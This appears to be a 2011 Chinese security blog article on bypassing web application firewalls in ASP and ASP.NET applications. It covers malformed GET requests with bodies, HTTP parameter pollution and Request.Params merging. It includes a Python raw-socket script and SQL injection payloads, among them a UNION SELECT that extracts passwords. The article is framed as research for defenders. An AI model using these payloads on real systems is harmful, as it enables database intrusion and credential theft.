EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244
0×00 前言
08年初誕生了一種SQL群注攻擊,黑客在全球範圍内對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支援多語句注入,黑客通過一條結合遊标的SQL語句就能将整個資料庫的字段内容自動進行篡改,可以在網站上無差别的進行網頁木馬攻擊。
網際網路是快速更新疊代的,但是很多沒有開發能力的機關都是通過外包建立網站,網站的程式一上線就再也無人維護,很多程式存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟體WAF,通常一個子產品一個擴充就能搞定,當然也有耗資百萬千萬的硬體WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬體也就是一堆廢鐵。那麼WAF是否真的可以解決所有的WEB安全問題呢?是以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。
0×01 Request對象的包解析漏洞.
asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的資料,但是asp和.net庫内置的Request對象完全不按RFC标準來,下面我們可以做個測試:
分别将下面兩段代碼儲存為1.asp和1.aspx
使用asp的Request對象接收t參數傳值
———————————————–
<%
Response.Write “Request:” & Request(“t”)
%>
使用asp.net的Request對象接收t參數傳值
<%@ Page Language=”C#” %>
string test = Request["t"];
Response.Write(“Request:”+test);
使用下面的python腳本調用socket發送原始的HTTP包
#!/usr/bin/env python
import socket
host = ’192.168.239.129′
path = ‘/1.asp’
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
exploit_packet=”t=’/**/or/**/1=1–”
exploit_packet+=”\r\n” * 8
packet_length = len(exploit_packet)
packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’
packet+=’Host: ‘ + host + ‘\r\n’
packet+=’Content-Length: %s\r\n’ % packet_length
packet+=’Content-Type: application/x-www-form-urlencoded\r\n’
packet+=’\r\n’
packet = packet + exploit_packet
print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind("\r\n"):]
s.close()
我們發送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
t=’/**/or/**/1=1–
結果傳回如下:
Request:’/**/or/**/1=1–
将python測試腳本的path改為/1.aspx測試頁傳回同樣結果。
我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于Content-Type和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最後asp和asp.net的Request對象成功的解析了這個畸形包取出了資料。
是以如果WAF沒有處理好HTTP包的内容,沿用正常思路處理GET和POST的邏輯的話,那麼這個畸形包将會毀掉WAF的基礎防禦。
0×02 被遺忘的複參攻擊.
大家應該還記得09年的HTTP Parameter Pollution攻擊,檢視[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個複參特性,本文将利用這種的特性的攻擊簡稱為複參攻擊,用0X01裡的例子簡單的測試一下:
用GET請求傳入兩個t參數
GET http://192.168.239.129/1.asp?t=1&t=2
将傳回
Request:1, 2
asp和asp.net的Request對象接收了兩個參數,并且以逗号分隔,是以便衍生出了[3]文檔中的複參SQL注入方法:
Vulnerable code:
SQL=”select key from table where id=”+Request.QueryString(“id”)
This request is successfully performed using the HPP technique:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
The SQL request becomes:
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,
我們可以看到通過巧妙的運用注釋符結合複參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會比對不到攔截規則呢?
0×03 進階複參攻擊.
ASP.NET的Request對象有一個Params屬性,ASP.NET程式員在一些程式中會使用Request.Params["xxx"]傳入資料,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這裡我們可以修改0×01裡的例子測試一下:
使用asp.net的Request.Params方法接收t參數傳值
string test = Request.Params["t"];
發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數内容
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Cookie: t=2
t=3
結果傳回
Request:1,3,2
最後得出結論,Request.Params方法接收的資料是按照GPC順序整合,看到這裡的同學再聯想到0×02的複參攻擊應該如醍醐灌頂了,我們可以将SQL攻擊語句拆分到GET,POST,COOKIE三個變量裡進行組合攻擊。想一想WAF針對這種進階複參攻擊是否防禦好了?
0×04 後話
WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描叙了WAF處理HTTP包與服務端處理HTTP包數種差異。網際網路是不斷更新疊代的,差異存在,類似的漏洞也會存在。
本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀态,第二種是參考已有的複參攻擊,其中第三種進階複參攻擊是由Safe3同學提出的,本文也是與Safe3同學讨論他開發的WAF的BUG而來,是以感謝Safe3同學。
另外請大家不要将本文的内容用于非法途徑,僅供安全人員參考,謝謝。
參考:
[1].http://www.faqs.org/rfcs/rfc2616.html
[2].http://www.w3school.com.cn/asp/asp_ref_request.asp
[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx